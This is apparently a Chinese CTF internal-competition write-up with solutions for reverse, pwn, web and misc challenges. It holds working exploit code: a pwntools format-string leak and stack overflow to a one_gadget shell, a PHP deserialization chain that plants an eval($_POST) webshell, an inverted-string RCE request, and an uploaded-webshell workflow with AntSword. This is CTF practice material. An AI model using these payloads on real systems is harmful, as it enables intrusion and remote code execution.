CTF 内部赛相关题目,平台题目 web/re/pwn/misc WriteUp
re
clock
进去main函数后一顿分析。rc4加密,随机数异或,base64换表。按照提示的时间2021.1.23 4:56:00
进行 srand(seed), 搞出来的结果不对。
后来又给了提示fini。
在fini函数交叉引用一下,发现在start函数后,(_libc_start_main)(main, retaddr, v3, init, fini, a2, v2, a1);
执行完main还有执行fini。。。又在函数列表找到某个函数。 看了交叉引用 显示 fini array。很可疑。下个断点,main函数后会执行这里。。。需要解决随机数问题。。
unsigned __int64 sub_559E25D7BF18()
{
unsigned int v0; // eax
signed int i; // [rsp+0h] [rbp-A0h]
char v3; // [rsp+50h] [rbp-50h]
unsigned __int64 v4; // [rsp+98h] [rbp-8h]
v4 = __readfsqword(0x28u);
v0 = time(0LL);
srand(v0); //这里下断 markA
if ( rand() == 1515432825 ) // 先搞定随机数
{
for ( i = 0; i <= 902; ++i )
*(sub_559E25F7D020 + i) ^= rand(); // sub_559E25F7D020是加密的代码。异或后应该能解密。
__isoc99_scanf("%42s", &v3);
if ( sub_559E25F7D020(&v3, &v3, &v3) != 42 )
exit(-1);
} //这里下断 markB
return __readfsqword(0x28u) ^ v4;
}
运行程序有个时间提示,这是个假时间,根据提示的时间扩大一下范围进行爆破
#include <stdio.h>
#include <stdlib.h>
// 1609448160 -- 2021, 1, 1, 4, 56, 0
// 1671742560 -- 2022, 12, 23, 4, 56, 0
int main() {
for (int i = 1609448160; i < 1671742560; ++i) {
int seed = i;
srand(seed);
if (rand() == 1515432825) {
printf("%d\n", seed);
break;
}
}
return 0;
}
爆出seed值。在markA下断点。直接修改寄存器eax值为seed值。然后在markB执行到markB处。让IDA运行将程序解密。然后选择好解密位置的第一个数值处。按下P创建函数。
__int64 __fastcall sub_559E25F7D020(__int64 a1, __int64 a2, __int64 a3) {
__int64 result;
__int64 v4;
unsigned __int64
v5;
signed int i;
int key1ptr;
int v8;
int v9;
int v10;
int v11;
int v12;
int v13;
int v14;
int v15;
int v16;
int v17;
int v18;
int v19;
int v20;
int v21;
int v22;
int v23;
int v24;
int v25;
int v26;
int v27;
int v28;
int v29;
int v30;
int v31;
int v32;
int v33;
int v34;
int v35;
int v36;
int v37;
int v38;
int v39;
int v40;
int v41;
int v42;
int v43;
int v44;
int v45;
int v46;
int v47;
int v48;
int key2ptr;
int v50;
int v51;
int v52;
int v53;
int v54;
int v55;
int v56;
int v57;
int v58;
int v59;
int v60;
int v61;
int v62;
int v63;
int v64;
int v65;
int v66;
int v67;
int v68;
int v69;
int v70;
int v71;
int v72;
int v73;
int v74;
int v75;
int v76;
int v77;
int v78;
int v79;
int v80;
int v81;
int v82;
int v83;
int v84;
int v85;
int v86;
int v87;
int v88;
int v89;
int v90;
unsigned __int64
v91;
v91 = __readfsqword(0x28u);
key1ptr = 61;
v8 = 159;
v9 = 9;
v10 = 29;
v11 = 146;
v12 = 126;
v13 = 169;
v14 = 130;
v15 = 106;
v16 = 19;
v17 = 233;
v18 = 31;
v19 = 142;
v20 = 51;
v21 = 80;
v22 = 143;
v23 = 113;
v24 = 7;
v25 = 29;
v26 = 251;
v27 = 28;
v28 = 209;
v29 = 237;
v30 = 15;
v31 = 152;
v32 = 82;
v33 = 22;
v34 = 39;
v35 = 215;
v36 = 245;
v37 = 155;
v38 = 56;
v39 = 89;
v40 = 220;
v41 = 239;
v42 = 87;
v43 = 82;
v44 = 180;
v45 = 252;
v46 = 235;
v47 = 117;
v48 = 11;
key2ptr = 91;
v50 = 243;
v51 = 104;
v52 = 122;
v53 = 233;
v54 = 77;
v55 = 203;
v56 = 225;
v57 = 93;
v58 = 39;
v59 = 217;
v60 = 126;
v61 = 187;
v62 = 30;
v63 = 103;
v64 = 187;
v65 = 21;
v66 = 62;
v67 = 48;
v68 = 207;
v69 = 126;
v70 = 225;
v71 = 136;
v72 = 34;
v73 = 249;
v74 = 102;
v75 = 115;
v76 = 23;
v77 = 250;
v78 = 150;
v79 = 250;
v80 = 94;
v81 = 111;
v82 = 236;
v83 = 214;
v84 = 53;
v85 = 101;
v86 = 215;
v87 = 205;
v88 = 136;
v89 = 69;
v90 = 118;
for (i = 0; i <= 41; ++i) {
a3 = *(&key1ptr + i) ^ *(i + a1); // key1逐位和输入字符异或
if (a3 != *(&key2ptr + i)) // 和key2比较, 那我key1和key2异或不就完了么
break;
}
result = i;
v5 = __readfsqword(0x28u);
v4 = v5 ^ v91;
if (v5 != v91)
result = (unk_559E25F7C8E5)(a1, a2, a3, v4);
return result;
}
把key1和key2数组提取出来。异或执行一下。即可得到flag
key1 = [61, 159, 9, 29, 146, 126, 169, 130, 106, 19, 233, 31, 142, 51, 80, 143, 113, 7, 29, 251, 28, 209, 237, 15, 152, 82, 22, 39, 215, 245, 155, 56, 89, 220, 239, 87, 82, 180, 252, 235, 117, 11, 91, 243, 104, 122, 233, 77, 203, 225, 93, 39, 217, 126, 187, 30, 103, 187, 21, 62, 48, 207, 126, 225, 136, 34, 249, 102, 115, 23, 250, 150, 250, 94, 111, 236, 214, 53, 101, 215, 205, 136, 69, 118]
key2 = [91, 243, 104, 122, 233, 77, 203, 225, 93, 39, 217, 126, 187, 30, 103, 187, 21, 62, 48, 207, 126, 225, 136, 34, 249, 102, 115, 23, 250, 150, 250, 94, 111, 236, 214, 53, 101, 215, 205, 136, 69, 118]
for i, _ in enumerate(key2):
ch = key1[i] ^ key2[i]
print(chr(ch), end='')
补充一下。
爆出seed值后,如果按顺序进行解密。。。先将input值 1.rc4加密。2.随机异或,3.base表替换,可以按下面的脚本进行, 在linux下运行。
from Crypto.Cipher import ARC4
import base64
from ctypes import *
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
seed = 1614027360
word = 'QAZWSXEDCRFVTGBYHNUJMIKLOP+1029384756/lkjhgfdsaqwertyuiopmnbvcxz'
key4 = 'qkkGPsoiRuteKS+tGYPnPqIGw/1iDobKToZUPkn9JlLW'
def custom_base(cipher):
import base64
my_base64chars = word
STD_BASE64CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
cipher = cipher.translate(str.maketrans(my_base64chars, STD_BASE64CHARS))
data = base64.b64decode(cipher)
return data
libc = cdll.LoadLibrary(libc_path)
libc.srand(seed)
def rand():
return libc.rand()
def rc4_decrypt(msg, key):
cipher = ARC4.new(key.encode())
txt = base64.b64decode(msg)
return cipher.decrypt(txt)
if __name__ == "__main__":
key3 = custom_base(key4)
lst_rand = []
for i in range(len(key3)):
lst_rand.append(rand())
key2 = b""
for i, e in enumerate(lst_rand):
key2 += bytes([(lst_rand[i] ^ key3[i]) & 0xff])
key2 = base64.b64encode(key2)
hint = rc4_decrypt(key2, 'how_time_flies')
print(hint) # b'There_is_something_after_the_end.'
只能得到一个提示There_is_something_after_the_end。所以最后还是需要解密的关键代码的。
你文件没了快打钱
ida加载看到smc类型。进start最后一行下断点
.hacker:00407C4D jmp dword ptr [ebp-4]
跳转后
// positive sp value has been detected, the output may be wrong!
int __usercall sub_40150B@<eax>(int a1@<ebp>, int a2@<esi>)
{
...
v9 = ((int (*)(void))sub_401FE6)();
v10 = *(_DWORD *)((int (*)(void))sub_402010)();
v11 = (_DWORD *)((int (*)(void))sub_40200A)();
a2 = ((int (__cdecl *)(_DWORD, int, int))sub_4012A0)(*v11, v10, v9); // main 直接进这里
if ( !(unsigned __int8)sub_401AF1() )
LABEL_19:
sub_401FF8(a2);
if ( !v2 )
((void (*)(void))sub_402016)();
sub_40184E(1, 0);
*(_DWORD *)(a1 - 4) = -2;
return a2;
}
一眼找main 进入后找到关键信息
do
{
*(_BYTE *)(v8 + v6) ^= *(_BYTE *)(v8 + v6 + 1);
++v8;
}
while ( v8 < v7 );
方式二 x64dbg运行到 smc 解压后 dump出来再ida分析。会包括库信息,看起来更友好。
exp
with open('encrypted', 'rb') as f:
txt = bytearray(f.read())
for i in range(1, len(txt))[::-1]:
txt[i - 1] ^= txt[i]
print(txt)
# bytearray(b'flag{c6900da9-6fcb-43c8-82f7-d13e55a7a24d}')
babyp
babyp
import struct
import string
from itertools import product
# printable = string.printable + string.digits + '_{}'
printable = string.ascii_lowercase + string.digits + '_{}-\x00'
enc = '60DB4A66E5089A77BC467338C20B36326877F926A1020F2D923DA472ABD84564E3760D391EBF91315C68150FF381A509'
enc_str = bytes.fromhex(enc)
print(enc_str)
print(len(enc_str))
"""
v8 = strlen(a1)
for ( i = 0 i += 8 ) // 8个1组
{
result = i
if ( i >= v8 )
break
str1 = *(_DWORD *)s // 前4
str2 = *((_DWORD *)s + 1) // 后4B
for ( j = 0 j <= 2 ++j )
{
t_str2 = str2
str2 = str1 ^ sub_55B62C8DB293(str2)
str1 = t_str2
}
*a2 = str1
a2[1] = str2
a2 += 2
s += 8
}
return result
__int64 sub_55B62C8DB249()
{
__int64 result // rax
dword_55B62C8DE010 = 3054 * dword_55B62C8DE010 - 563
result = dword_55B62C8DE010 % 0x123456EFu
dword_55B62C8DE010 %= 0x123456EFu
return result
}
__int64 __fastcall sub_55B62C8DB293(int a1)
{
sub_55B62C8DB249()
return ~(a1 ^ (unsigned int)dword_55B62C8DE010)
}
"""
dword_55B62C8DE010 = 0x789ABCD
def hash():
global dword_55B62C8DE010
dword_55B62C8DE010 = (3054 * dword_55B62C8DE010 - 563) & 0xffffffff
dword_55B62C8DE010 %= 0x123456EF
return dword_55B62C8DE010
def str2enc(n_str2):
result = hash()
c2 = n_str2 ^ result
# print(hex(c2))
nc2 = ~c2 & 0xffffffff
# print(hex(nc2))
return nc2
s = "1234" * 12
def bf(right_s1, right_s2, hash):
global dword_55B62C8DE010
dword_55B62C8DE010 = hash
n1 = struct.unpack("I", right_s1)[0]
n2 = struct.unpack("I", right_s2)[0]
str1, str2 = '', ''
for lst_s2 in product(printable, repeat=4):
str1 = ''.join(lst_s2)
# str1 = 'flag'
n_str1 = struct.unpack("I", str1.encode())[0]
# for lst_s2 in product(printable, repeat=4):
dword_55B62C8DE010 = hash
# str2 = ''.join(lst_s2)
# str2 = 'aaaa'
str2 = 'aaab'
n_str2 = struct.unpack("I", str2.encode())[0]
os1, os2 = str1, str2
# n_str1 根据 str2不同,只有2种值。指定一下加速爆破
t_str2 = n_str2
n_str2 = n_str1 ^ str2enc(n_str2)
n_str1 = t_str2
# str1,str2 = str2, str1 ^ str2enc(str2)
t_str2 = n_str2 # str1 ^ str2enc(str2)
n_str2 = n_str1 ^ str2enc(n_str2) # str2 ^ str2enc(str2) ^ str2enc(str2)
n_str1 = t_str2 # str1 ^ str2enc(str2)
t_str2 = n_str2
n_str2 = n_str1 ^ str2enc(n_str2)
n_str1 = t_str2
if n_str1 == n1:
# if n_str2 == n2:
# if n_str2 == n2 and n_str1 == n1:
print('right s1:', os1)
str1 = os1
break
else:
print('not found s1')
const_nstr1 = struct.unpack("I", str1.encode())[0]
for lst_s2 in product(printable, repeat=4):
dword_55B62C8DE010 = hash
str2 = ''.join(lst_s2)
n_str2 = struct.unpack("I", str2.encode())[0]
os2 = str2
n_str1 = const_nstr1
# n_str1 根据 str2不同,只有2种值。指定一下加速爆破
t_str2 = n_str2
n_str2 = n_str1 ^ str2enc(n_str2)
n_str1 = t_str2
# str1,str2 = str2, str1 ^ str2enc(str2)
t_str2 = n_str2 # str1 ^ str2enc(str2)
n_str2 = n_str1 ^ str2enc(n_str2) # str2 ^ str2enc(str2) ^ str2enc(str2)
n_str1 = t_str2 # str1 ^ str2enc(str2)
t_str2 = n_str2
n_str2 = n_str1 ^ str2enc(n_str2)
n_str1 = t_str2
if n_str2 == n2:
# if n_str2 == n2 and n_str1 == n1:
print('right s2', os2)
break
else:
print('not found s2')
dword_55B62C8DE010 = hash
for i in range(0, 48, 8):
right_s1 = enc_str[i:i + 4]
right_s2 = enc_str[i + 4:i + 8]
bf(right_s1, right_s2, dword_55B62C8DE010)
hash()
hash()
hash()
print()
# flag{4af9e388-2812-48af-911d-fee9e17a8c0 爆到这里发现 最后4位不够。只有2位。加入\x00爆破
# flag{4af9e388-2812-48af-911d-fee9e17a8c09}
pwn - music
在 name 里有个4位长度的 printf漏洞。
使用gdb调试, 可以发现printf处 r9寄存器处保存了stdout地址,leak出来%5$p,输出去查一下libc。
小知识: x64程序中printf读取参数顺序如下 rdi, rsi, rdx, rcx, r8, r9, 其余在栈上。
gdb.attach(io, "b *$rebase(0x10ac)")
然后用one_gadget找出偏移,加上基址getshell。
是漏洞点2在music的copy函数里。覆盖256+8个字节+ret_addr
输入的字符串会转成doramifasoalxi。。其余的才能正常计数。这里用的a所以 (counta * 2 +8) = 256 +8, 所以输入了132个a。
如果不转换可以用x
int __cdecl copy(char *src, int len)
{
char music_str3[256]; // [rsp+10h] [rbp-100h] BYREF
memset(music_str3, 0, sizeof(music_str3));
memcpy(music_str3, src, len);
return 0;
}
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
from pwn import *
context.arch = 'amd64'
io = process('./music', env={"LD_PRELOAD": "./libc6_2.23-0ubuntu11.2_amd64.so"}) # 自定义预加载libc.so
e = ELF('./libc6_2.23-0ubuntu11.2_amd64.so')
# gdb.attach(io, "b *$rebase(0x10ac)")
io.sendline('%5$p')
print(io.recvuntil('0x'))
addr = int(io.recv(12), 16)
print('addr is ', hex(addr))
stdout = e.symbols['_IO_2_1_stdout_']
base = addr - stdout
one = base + 0x45226 # one_gadget
payload = flat('a' * 132, one)
# payload = flat('x' * (256+8), one)
io.sendline(payload)
io.interactive()
参考链接 https://gitee.com/rencvn/pwn_-exp/blob/master/music/exp.py
Web
ezUp
扫描得到 http://eci-2zebuqub6vf0oerwn6ym.cloudeci1.ichunqiu.com/.index.php.swp 源码
<?php
//error_reporting(0);
if(!isset($_SESSION['source']))
{
$_SESSION['source'] = sha1(rand(0,1000));
}
$finalPos = getcwd() . "/upload/" . sha1($_SESSION['source']);
$filePos = $finalPos . "/" . basename($fileName);
上传后文件会放到 /upload/随机sha(0,1000)/
使用 burp 爆破后访问到 /upload/8c4a0a7afbb10de1e63107ce71805605f1a81765/shell.php
蚁剑连接
Easypop
"""
<?php
class Backdoor {
public $x;
public $y;
public function __invoke(){
if( ($this->x != $this->y) && (md5($this->x) === md5($this->y)) ){
if(!preg_match("/\<\?php/", $this->x, $match)){
eval($this->x);
} else {
die("No Way!");
}
} else {
die("Keep it up......");
}
}
}
class Entrance{
public $name;
public $str;
public function __construct(){
$this->name = "Bunny";
}
public function __toString(){
return $this->str->name;
}
public function __wakeup(){
echo 'Welcome, '.$this->name."<br>";
}
}
class Test{
public $z;
public function __construct(){
$this->z = array();
}
public function __get($key){
$function = $this->z;
return $function();
}
}
$e=new Entrance();
$e1=new Entrance();
$e->name=$e1;
$t=new Test();
$e1->str=$t;
$d=new Backdoor();
$t->z=$d;
$s='?><?=@eval($_POST[1]); ?>';
$x=new Error($s,1);$y=new Error($s,2);
$d->x=$x;
$d->y=$y;
echo urlencode(serialize($e));
"""
import requests
url = 'http://eci-2zeguqesv3v7kc8pzzga.cloudeci1.ichunqiu.com/?poc=O%3A8%3A%22Entrance%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A8%3A%22Entrance%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22Bunny%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22z%22%3BO%3A8%3A%22Backdoor%22%3A2%3A%7Bs%3A1%3A%22x%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3F%3E%3C%3F%3D%40eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A57%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A1%3A%22y%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3F%3E%3C%3F%3D%40eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A57%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D'
res = requests.post(url, data={'1': 'phpinfo();'})
print(res.text)
蚁剑连接。使用 bypass disabled function插件 : PHP 7.0-8.0 disable_functions bypass [user_filter] 获取flag.
ezrce
git 泄露。反码绕过
import requests
url = 'http://eci-2zeb815npjx8x2tordsp.cloudeci1.ichunqiu.com/1ndex.php?str=${%s}'
def inv_code(txt):
r = [~ord(x) & 0xff for x in txt]
inv = '~' + ''.join(f'%{x:x}' for x in r)
print(inv)
return inv
system = inv_code('system')
cmd = inv_code('ls')
new_url = url % f'({system})({cmd})'
print(new_url)
print(requests.get(new_url).text)
Misc
flow_analysis
37200 包发现蚁剑流量包,解密要删除前2位。
Form item: "bd6d05dc659984" = "kNL3Jvb3Qv"
Form item: "bd6d05dc659984" = "KfL2hvbWUvaGFuemhlLw=="
37251 读取 flag /home/hanzhe/F1aggg
解码 f359fSlJMVktNQ09OSlJYSVRTVUlGNUU0MkpRR05NWFUzREpKUktFU05DT0dKTVRFVDJFS0UyRlVSQ1dOVkdUR01CNQ==
删除前几位 base64 -> base32 -> base64 得到 -e467-5036-7c9b-287f6848d5f3}
uuid格式缺少前8位 flag{********-e467-5036-7c9b-287f6848d5f3}
37271 包 /home/hanzhe/flag
response: f7bfb17bdd96ca6bc
37300 包 64c005d#Halo AntSword!0d5ba1691
找到下不在后面,可能在注入的密码中。在前面找到注入hint时 17842包 得到 f。后面依次得到。
flag{a3eb0ff8
flag{a3eb0ff8-e467-5036-7c9b-287f6848d5f3}